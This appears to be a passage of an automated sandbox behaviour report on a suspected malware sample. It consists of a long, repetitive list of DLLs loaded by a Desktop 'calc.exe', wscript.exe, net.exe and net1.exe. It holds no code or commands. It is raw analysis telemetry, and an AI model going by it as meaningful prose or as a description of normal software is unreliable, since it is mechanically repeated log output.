Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samlib.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dll
